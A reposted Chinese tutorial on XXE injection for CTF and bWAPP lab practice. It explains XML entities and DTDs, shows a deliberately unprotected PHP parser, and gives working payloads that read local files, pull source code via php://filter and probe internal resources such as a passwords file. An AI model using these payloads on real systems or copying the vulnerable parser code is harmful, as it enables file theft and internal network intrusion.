xml实体注入攻击小记[转载]

xml实体注入攻击小记

基础知识

参考文章:
XXE漏洞及Blind XXE练习
小试XML实体注入攻击

XML基本知识

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>chybeta</to>
<from>ph0en1x</from>
</note>

代码的第一行,定义了XML的版本与编码

在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,是整个文档的根元素。嵌套在note标签中的则是根的子元素。

同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。

实体

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。

XML实体分为四种:字符实体,命名实体,外部实体,参数实体。

文档类型定义:DTD

wikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体

其基本格式:

1
<!DOCTYPE 根元素名 [  元素描述   ]>

内部引用

格式:<!ENTITY 实体名称 “实体的值”>

将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>

访问该XML文档,&chybeta;会被解析为Hello World!并输出。

外部引入

基本格式:<!ENTITY 实体名称 SYSTEM “URI”>
通过引用定义在外部的DTD中的实体,我们称之为外部实体。

利用方式

xxe注入

xxe漏洞利用外部实体

读取本地文件

搭建环境file.php:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

这是一段没有任何防护的代码,这里就存在xxe漏洞
我们构造payload,访问服务器里的flag.txt文件(内容为“you are right”)

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://phpstudy/PHPTutorial/WWW/flag.txt">]>
<root>&file;</root>

将这段代码进行url编码,传入后,获得flag.txt文件的内容

这里有一道ctf的题作为练习参考用,题目地址:http://web.jarvisoj.com:9882/
修改Content-type: application/xml


注意:如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=D://phpstudy/PHPTutorial/WWW/hack.php">]>
<root>&file;</root>

同样进行url编码

内网探测/SSRF

SSRF实际上就是一种攻击者的攻击思路,简单的说就是服务器用对外提供服务的外网服务器,有对内部工作人员使用的内部服务器,攻击着通过向外网服务器发起请求,服务器接收请求后,未对请求进行验证过滤,此请求可以达到让外网服务器,访问内网的资源,导致攻击者通过外网的请求获取的服务端后台的一些信息。
bwapp中的XXE练习,我们使用burpsuit抓包
同样修改Content-type,附上内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

获取数据后再进行base64解码

关于SSRF的习题有很多,而这里我们也只是管中窥豹。

0%